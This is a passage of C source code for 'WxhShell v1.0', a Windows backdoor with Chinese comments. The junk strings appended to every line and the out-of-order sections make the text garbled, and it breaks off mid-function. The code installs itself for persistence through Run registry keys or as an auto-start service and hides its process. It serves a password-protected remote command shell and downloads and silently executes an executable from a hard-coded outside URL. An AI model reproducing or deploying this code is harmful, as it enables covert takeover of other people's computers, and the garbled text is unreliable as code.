ULONG InheritedFromUniqueProcessId; 'tQp&pj
} PROCESS_BASIC_INFORMATION; e<A>??h^
}43qpJe8U
PROCNTQSIP NtQueryInformationProcess; vz:VegS
(VC Jn<@@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GqP02P'2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fOsvOC
^* y1Fn0
HANDLE hProcess; 48;b
PROCESS_BASIC_INFORMATION pbi; c\szy&W
RMs8aZCa
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KdTWi;mV2-
if(NULL == hInst ) return 0; 4}0YLwgJ
]H`pM9rC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w!d(NA<|0]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !w!k0z]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %bdBg
A 3q#,%
if (!NtQueryInformationProcess) return 0; !iX/Ni:
\|]+sQ WQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :To{&T
if(!hProcess) return 0; z}r
D#Mz#\4o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <O-R
Sy*p6DP
CloseHandle(hProcess); j,i)ecZ>
DbR!s1ux
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
<ZO+e*4
if(hProcess==NULL) return 0; FKf2Q&2I
:UKc:JVNM
HMODULE hMod; 6 RSit
char procName[255]; ZRr.kN+F
unsigned long cbNeeded; ]haQ#e}WH
mZ?QtyljT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vQoZk,
931GJA~g
CloseHandle(hProcess); o~xGE 6A*"
d?/g5[
if(strstr(procName,"services")) return 1; // 以服务启动 J-klpr#
x],XiSyp
return 0; // 注册表启动 BoARM{m
} zqXDD; w3
r#}o
+3*
// 主模块 =
~*Vfx
int StartWxhshell(LPSTR lpCmdLine) u<Ch]m+
{ 04Uyr;y
SOCKET wsl; 7#N= GN
BOOL val=TRUE; ][ 8`}ki 1
int port=0; p gv, Su
struct sockaddr_in door; {?cF2K#
x'Nc}
if(wscfg.ws_autoins) Install(); RO[X#c
{?mb.~(
port=atoi(lpCmdLine); QPFv]^s(
uE%2kB*]
if(port<=0) port=wscfg.ws_port; 7D~~<45ct
#rz!d/)Q
WSADATA data; ),%@X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mSEX?so=[
i8*(J-M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NUuIhB+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R=iwp%c(
door.sin_family = AF_INET; ?2gXF0+~Y2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); r. rzU
door.sin_port = htons(port); tp\d:4~R
R_:lp\S&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;jKL B^4nX
closesocket(wsl); fNrpYR X
return 1; Psf{~ (Ii
} fQw=z$
lm{4x~y$h
if(listen(wsl,2) == INVALID_SOCKET) { VEL!-e^X&
closesocket(wsl); @c>MROlrlF
return 1; .\
vrBf
} =""5
c
Wxhshell(wsl); je>mAQKi\
WSACleanup(); G}]'}FUp
[xdVuL;N
return 0; j0=H6Y
9`&sZ|"3
} }n,LvA@[0
1:{+{Yl7
// 以NT服务方式启动 ZlQ&m
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <#./q LSR
{ xHkx rXqeI
DWORD status = 0; 4dI`
DWORD specificError = 0xfffffff; b>}
)G7b}
i\K88B&24
serviceStatus.dwServiceType = SERVICE_WIN32; ,n UovWN07
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q[T)jo,j%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D~2n8h"2ye
serviceStatus.dwWin32ExitCode = 0; g6][N{xW0
serviceStatus.dwServiceSpecificExitCode = 0; c11;(
serviceStatus.dwCheckPoint = 0; T7?z0DKi
serviceStatus.dwWaitHint = 0; 4Le{|B
qzu(4*Gk6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |k: FNu]C
if (hServiceStatusHandle==0) return; Jg.^h1>x
[XP\WG>s
status = GetLastError(); gU@R
if (status!=NO_ERROR) Iqj?wI1)
{ @k-GyV-v
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,K.Wni#m
serviceStatus.dwCheckPoint = 0; |A=~aQot
serviceStatus.dwWaitHint = 0; :vFYqoCn
serviceStatus.dwWin32ExitCode = status; {Bpu-R&T
serviceStatus.dwServiceSpecificExitCode = specificError; >GDf*
ox[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vU#>3[aC
return; E6?0/"
} a{.-qp
}C
JK9*Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; "2"2qZ*h}
serviceStatus.dwCheckPoint = 0; 8&7zV:=
serviceStatus.dwWaitHint = 0; AbX#wpp!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
"'Q~&B;@
} +4[Je$qYa
0.U-
tg0
// 处理NT服务事件,比如:启动、停止 (J
j'kW6G6
VOID WINAPI NTServiceHandler(DWORD fdwControl) qMd4awB
R
{ Saks~m7,
switch(fdwControl) B\~(:(OPM]
{ QC1\Sn /
case SERVICE_CONTROL_STOP: 2FN# 63
serviceStatus.dwWin32ExitCode = 0; {C%f~j
serviceStatus.dwCurrentState = SERVICE_STOPPED; IKp/xj[!
serviceStatus.dwCheckPoint = 0; mU>lm7'
serviceStatus.dwWaitHint = 0; ]C-a[
{ -_>E8PhM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #V@vz#bo=
} fDChq[LAn
return; :M@#.
case SERVICE_CONTROL_PAUSE: X09i+/ICK
serviceStatus.dwCurrentState = SERVICE_PAUSED; <4"Bb_U
break; LiEDTXRz
case SERVICE_CONTROL_CONTINUE: '*K%\]
serviceStatus.dwCurrentState = SERVICE_RUNNING; CI|#,^
break; @3?dI@i(
case SERVICE_CONTROL_INTERROGATE: =vb 'T
break; "OrF81
}; ?Elt;wL(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yM? jiy
} 'pT8S
c:-n0m'i
// 标准应用程序主函数 V~QOl=`K:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L,sXJ23.
{ 6 _#C vQ
z'Ut9u
// 获取操作系统版本 uA\KbA.c;U
OsIsNt=GetOsVer(); 1L4v X
GetModuleFileName(NULL,ExeFile,MAX_PATH); KP
gzB^>
jf=90eJc
// 从命令行安装 #\6k_toZ
if(strpbrk(lpCmdLine,"iI")) Install(); cu4 |!s`#
3nx*M=
// 下载执行文件 58PL@H~@0
if(wscfg.ws_downexe) { yDi'@Z9R?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Co:Rg@i(F
WinExec(wscfg.ws_filenam,SW_HIDE); r<$"T
} ;4*mUD6
lt{"N'Gw6
if(!OsIsNt) { S\@U3|Q5
// 如果时win9x,隐藏进程并且设置为注册表启动 xHlO~:Lc
HideProc(); p7,dl*'
StartWxhshell(lpCmdLine); q)RTy|NJ^
} %)y-BdSp.
else `OWwqLoeA
if(StartFromService()) %eJE@$
// 以服务方式启动 vZ|Wj] ;o
StartServiceCtrlDispatcher(DispatchTable); *>jJ<8!
else 2-rfFqpe
// 普通方式启动 F441K,I
StartWxhshell(lpCmdLine); odTIz{9qG
B~u`bn,iQ
return 0; E> YE3-]
} @KU^B_{i
(_Rl
f$D
;@< e ]Ft
_TVKvRh
=========================================== if+97^Oy
b2hXFwPe
lkb,UL;V
[:l=>yJ{(
KK/siG~O
2Jt*s$
" F2',3
%5<Xa
#include <stdio.h> y+M9{[ i/O
#include <string.h> h:r:qk
#include <windows.h> f|{&Y2h(R
#include <winsock2.h> awOH50R
#include <winsvc.h> Mu$"fYKf"
#include <urlmon.h> _[y<u})
+wm%`N;v<
#pragma comment (lib, "Ws2_32.lib") `q7X(x
#pragma comment (lib, "urlmon.lib") }IV=qW,
AL[,&_&uV
#define MAX_USER 100 // 最大客户端连接数 :a)` iJnb
#define BUF_SOCK 200 // sock buffer W9jxw4)
#define KEY_BUFF 255 // 输入 buffer rf
=Wq_
!4T7@V`G
#define REBOOT 0 // 重启 l' Uj"9r,
#define SHUTDOWN 1 // 关机 {\n?IGP?wd
uiaZ@
#define DEF_PORT 5000 // 监听端口 P:m6:F@hO
N[sJ5oF
#define REG_LEN 16 // 注册表键长度 R rp-SR?O
#define SVC_LEN 80 // NT服务名长度 A7zL\U4
nZ#0L`@"Y
// 从dll定义API _O`s;oc
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '-rRD\"q
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]=(PtzVa
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .\"8H1I\T
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?PU7xO;_
.-cx9&
// wxhshell配置信息 D8)6yPwE
struct WSCFG { R-1C#R[
int ws_port; // 监听端口 (A~w IKY,
char ws_passstr[REG_LEN]; // 口令 XM:\N$tg
int ws_autoins; // 安装标记, 1=yes 0=no _i2k$Nr
char ws_regname[REG_LEN]; // 注册表键名 "IRF^1 p
char ws_svcname[REG_LEN]; // 服务名 T0%l$#6v
char ws_svcdisp[SVC_LEN]; // 服务显示名 otdm rw|
char ws_svcdesc[SVC_LEN]; // 服务描述信息 />V&
OX`
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |) CfO 4
int ws_downexe; // 下载执行标记, 1=yes 0=no mh,a}bX{
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M)sAMfuUw
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r!/<%\S
"_n})s
f
}; <!derr-K
I$oqFF|D
// default Wxhshell configuration Pr#uV3\
struct WSCFG wscfg={DEF_PORT, }EN-WDJD\
"xuhuanlingzhe", W]M Fq5.
1, Eb9n6Fg
"Wxhshell", hWRr#030
"Wxhshell", Tvd: P^C
"WxhShell Service", oGz5ZDa#
"Wrsky Windows CmdShell Service", Pk&sY'
"Please Input Your Password: ", .hK:-q,
1, |}wT/3>\
"http://www.wrsky.com/wxhshell.exe", vg*~t3{ L
"Wxhshell.exe" `"y:/F"{
}; @$5=4HA
1i;#cIG
// 消息定义模块 X1^Q1?0
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !PJp()
char *msg_ws_prompt="\n\r? for help\n\r#>"; sv+6#
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E>bpq^;r
char *msg_ws_ext="\n\rExit."; c2fw;)j&X
char *msg_ws_end="\n\rQuit."; oe[f2?-
char *msg_ws_boot="\n\rReboot..."; :O]US)VSj
char *msg_ws_poff="\n\rShutdown..."; aJ
J63aJ
char *msg_ws_down="\n\rSave to "; f;obK~b[
4,?WNPqo
char *msg_ws_err="\n\rErr!"; q;QE(}.g
char *msg_ws_ok="\n\rOK!"; & DhdB0Hjf
.T#}3C/
char ExeFile[MAX_PATH]; E*d UJ.>
int nUser = 0; #S"s8wdD
HANDLE handles[MAX_USER]; \qtdbi|Y
int OsIsNt; !>EK
%OO
FM<`\d'
SERVICE_STATUS serviceStatus;
wnHfjF
SERVICE_STATUS_HANDLE hServiceStatusHandle; aA'of>'ib|
D|IS@gWa
// 函数声明 '8;'V%[+
int Install(void); Pdk#"H-j
int Uninstall(void); k;jXVa
int DownloadFile(char *sURL, SOCKET wsh); Qn)AS1pL+
int Boot(int flag); &A~hM[-
void HideProc(void); hY|-l%2f
int GetOsVer(void); 05o<fa 2HE
int Wxhshell(SOCKET wsl); W;|%)D)y
void TalkWithClient(void *cs); ,n&Lp
int CmdShell(SOCKET sock); +nL#c{
int StartFromService(void); t@q==VHF
int StartWxhshell(LPSTR lpCmdLine); DY1"t7
9E
Hh*
KcIRX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UHBMl>~z
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #q6#nfi"
>O~
// 数据结构和表定义 lg*?w/JX+
SERVICE_TABLE_ENTRY DispatchTable[] = Hd_,`W@
{ 0e(4+:0
{wscfg.ws_svcname, NTServiceMain}, +6:jm54
{NULL, NULL} i'[! 'HY
}; :jFZz%
$0Un'"`S
// 自我安装 R]4
h)"
int Install(void) >L J<6s[=
{ >S]"-0tGD=
char svExeFile[MAX_PATH]; D+{&zo
HKEY key; ~#7uNH2
strcpy(svExeFile,ExeFile); H/ar:j
\w)ddc!ZS
// 如果是win9x系统,修改注册表设为自启动 o^b5E=?>C
if(!OsIsNt) { NYc ;Zwv9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]N|?9L"=
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w|61dB
RegCloseKey(key); m+xub*/
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EF'8-*
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y)D F.ca(
RegCloseKey(key); \4>& zb4
return 0; >.-4CJ])d
} A+(+PfU
} DSlO.)dHu
} YmLpGqNv
else { .z^O y_S{
ubMN
// 如果是NT以上系统,安装为系统服务 f(
<O~D
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W#\{[o
if (schSCManager!=0) 9V>C %I
{ v1=N?8Hz1
SC_HANDLE schService = CreateService W=Mdh}u_I
( bZpx61h|
schSCManager, 8L5O5F'
wscfg.ws_svcname, gObafIA
wscfg.ws_svcdisp, K|=va>
SERVICE_ALL_ACCESS, jtgj h\Nt
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2.'hr/.
SERVICE_AUTO_START, &ju.5v|
SERVICE_ERROR_NORMAL, dnkHx
svExeFile, Vze vOS
NULL, dtig_s,)D
NULL, LQV&;O4'
NULL, M"6J"s
NULL, hx ^ l
NULL 0bOT&Z^
); ua,!kyS
if (schService!=0) #44}Snz
{ [}dPn61
CloseServiceHandle(schService); tTT
:r),}$
CloseServiceHandle(schSCManager); e@iz`~[
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V>c !V9w
strcat(svExeFile,wscfg.ws_svcname); J+}z*/)|#
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oWEzzMRz
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o>|DT(Ib
RegCloseKey(key); 8+H 0
return 0; =]1cVnPI
} =,8nfJ+x
} ,P=.x%
CloseServiceHandle(schSCManager); rU|?3x
} x<PJ5G L
} q>.C5t'Qx
LIT`~D
return 1; NDJP`FI
} t:b}Mo0
W
j`f^^\HJ
// 自我卸载 |Qn>K
int Uninstall(void) @r(3
{ &"7+k5O
HKEY key; }$LnjwM;,
p3e=~{v*
if(!OsIsNt) { ^tIYr<I
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4/OmgBo'
RegDeleteValue(key,wscfg.ws_regname); PsOq-
RegCloseKey(key); }zqo<o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4BeHj~~
RegDeleteValue(key,wscfg.ws_regname); k{U[ U1j
RegCloseKey(key); )Br#R:#
return 0; |(CgX6 l3
} >=;hnLu
} `U&'71B^
} 1L?d/j
else { 3#y`6e=5
#qv!1$}2
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u=Xpu,q
if (schSCManager!=0) P"o|kRO
{ *$Zy|&[Z
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +O^} t
if (schService!=0) u?F.%j-
{ AnK X4Q
if(DeleteService(schService)!=0) { ./^8L(
CloseServiceHandle(schService); 8dCRSU
CloseServiceHandle(schSCManager); NE4]i
return 0; #^(Yw|/K
} G ]uz$V6!
CloseServiceHandle(schService); ta^$&$l
} r! [Qpb-:
CloseServiceHandle(schSCManager); xzOn[.Fi
} :#cJZ\YH
} ~+V$0Q;L
+ R~!G
return 1; y=Z[_L!xr
} &WOm[]Q4
+\?+cXSc
// 从指定url下载文件 mq(-L
int DownloadFile(char *sURL, SOCKET wsh) c6AwO?x/
{ fzOh3FO+
HRESULT hr; mA"[x_
char seps[]= "/"; piqh7u3~
char *token; Ya(3Z_f+VZ
char *file; vU(fd!V ?
char myURL[MAX_PATH]; v*c"SI=@M=
char myFILE[MAX_PATH]; lJ,\^\q
8kvA^r`
strcpy(myURL,sURL); >V4r'9I
token=strtok(myURL,seps); ?*ZQ:jH
while(token!=NULL) I
zVc
{ #2"'tHf4
file=token; 9+/D\|"{
token=strtok(NULL,seps); V]m}xZ'?^
} s_^N=3Si
%@|)&][hO
GetCurrentDirectory(MAX_PATH,myFILE); kUfb B#.5L
strcat(myFILE, "\\"); @Ae&1O;Zh
strcat(myFILE, file); oOaLD{g>
send(wsh,myFILE,strlen(myFILE),0); ^bfU>02Q6p
send(wsh,"...",3,0); 4wGBB{X
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5evk_f
if(hr==S_OK) Zj_2B_|WN#
return 0; L,ax^]
else wG6Oz2(
return 1; %9J:TH9E)
,H8M.hbsQ
} '-Oh$hqCx|
U#Iwe=
// 系统电源模块 ovdaK"q2
int Boot(int flag) )1gT&sU